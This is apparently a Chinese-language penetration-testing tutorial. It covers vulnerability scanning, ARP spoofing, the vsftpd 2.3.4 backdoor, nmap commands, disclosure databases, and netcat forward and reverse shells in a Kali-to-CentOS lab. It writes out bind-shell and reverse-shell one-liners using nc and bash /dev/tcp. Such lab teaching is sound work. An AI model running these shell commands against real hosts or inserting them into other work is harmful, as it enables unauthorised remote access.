一.基本概念
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的下访问或破坏系统。漏洞是硬件、软件、协议在生命周期的各个阶段(设计、实现、运维等过程)中产生的某类问题,这些问题会对系统的安全(机密性、完整性、可用性)产生影响。
二.漏洞扫描
漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能够匹配上,就说明存在某一个漏洞。
漏洞扫描器在识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为也会被对方的入侵检测设备发现。
漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际并不存在)或者漏报(未报告发现漏洞但漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏是实际存在的,这个过程就叫做漏洞验证,这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
漏洞扫描器=进行扫描的引擎+漏洞特征的特征库
ARP欺骗的本质是把虚假的IP-MAC映射关系通过ARP报文发给主机,让主机把虚假的IP-MAC映射存入ARP缓存表(可能是IP地址错误,也可能是MAC地址错误),让其无法正确发送数据。简单来说就是欺骗网关,伪造网关。
笑脸漏洞
目标系统上安装了软件VSFTPD v2.3.4,vsftpd是Very Secure FTP daemon,是FTP服务器。但是在它的代码中却存在着一个重大问题,在文件str.c中出现了一行与程序功能无关的代码。VSFTPD(Very Secure FTP Daemon)是一个常用的FTP服务器软件。
“vsftpd 2.3.4 Backdoor”(也称为 “vsFTPd 2.3.4 Backdoor” 或 “vsftpd v2.3.4 backdoor”)。该漏洞最初于2011年被公开发现,影响了VSFTPD 2.3.4版本。这个版本中的一个后门(backdoor)允许攻击者通过一个特殊的用户名和密码组合来获得未经授权的访问权限。这个后门的存在可能导致攻击者执行恶意操作,例如未经授权地访问和修改FTP服务器上的文件。
2.NetCat——瑞士军刀
(1)简介
netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式和传输模式。大致功能如下:
Telnet功能
获取banner信息
传输文本信息
传输文件/目录
加密传输文件,默认不加密
远程控制
加密所有流量
流媒体服务器
远程克隆硬盘
(2)功能复现——传输shell
shell传输分为正向shell和反向shell ,理解正向和反向,主要就是分清客户端和服务端。
- 正向shell
正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取centos的shell权限。
服务端:nc -lvp 端口 -e /bin/sh
//正向需要经过服务端的防火墙,所以在这一步之前要先关闭防火墙
客户端:nc 服务端ip 端口
Centos关闭防火墙并打开shell监听
Kali连接监听端口获取shell
Kali成功拿到centos的shell,在kali的连接页面可以查看到
- 反向shell
反向shell就是让目标把权限自己给我们,也就是服务端来找客户端并把shell给客户端,具体步骤如下
服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1
nc反 弹 :nc -e /bin/bash 客户端ip 端口
//反弹姿势还有很多
客户端开启监听: nc -lvp 端口
客户端开启监听
服务端(centos)反弹shell
成功将shell回弹到kali
3.NMAP系统漏洞的扫描
Nmap扫描的基本原理是通过构造TCP和UDP数据包,向被扫描主机发送各种类型的网络请求,然后对响应数据进行分析和解析,从而获取目标主机的网络拓扑结构、开放端口、服务类型和版本信息等。
漏洞扫描:Nmap会通过发送特定的TCP和UDP数据包,探测目标主机是否存在常见漏洞和安全风险。
通过namp对靶机进行漏洞收集,是利用nmap自带script脚本扫描存在的漏洞。
--script是使用脚本扫描,vuln为其中的关键字之一,进行模糊扫描。
如果直接输入指令“nmap --script=vuln+目标主机IP地址”的话,由于扫描数量过大,可能等待时间较久。所以指令漏洞与端口扫描会有更高的效率。
下方展示的指令是对21端口号进行漏洞扫描
输入指令:nmap --script ftp-vsftpd-backdoor +目标主机IP地址
NMAP常用命令
4种常用的扫描
1.nmap -sP 1.1.1.1/24
探测C段存活主机,可以用 |grep up 过滤存活的主机
2. nmap -sS 1.1.1.1-30 -p 80
SYN扫描,指定IP范围指定端口。
3.nmap -sV 1.1.1.1 -p 1-65535
探测端口的服务和版本
4.nmap -O 1.1.1.1 或 nmap -A 1.1.1.1
探测操作系统类型和版本
4.漏洞提交发布平台
- 全球通用的漏洞信息发布平台:CVE(Common Vulnerabilities and Exposures)
- 全球开源软件安全组织:CERT/CC(Computer Emergency Response Team Coordination Center)
- 漏洞库和安全公告发布网站:National Vulnerability Database (NVD) (NVD - Home)
- 安全通知发布网站:US-CERT (United States Computer Emergency Readiness Team) (Home Page | CISA)
- 全球漏洞信息数据库:CVE(Common Vulnerabilities and Exposures)官方网站 (CVE -CVE)。该网站汇总了全球范围内各种软件、硬件和系统的漏洞信息。
- 国家漏洞数据库:国家信息安全漏洞库 (https://www.cnvd.org.cn/),由中国国家信息安全漏洞库维护。该网站发布国内软件、硬件和系统的漏洞信息。
- 操作系统和开源软件社区:不同的操作系统和开源软件项目通常会在其官方社区或开发者论坛中发布漏洞信息。例如:
Linux Kernel Mailing List:Linux内核的官方邮件列表,用于发布Linux系统漏洞信息和补丁更新。
Microsoft Security TechCenter (Antimalware and cybersecurity portal - Microsoft Security Intelligence):微软的安全技术中心,发布Windows操作系统相关的安全公告和更新。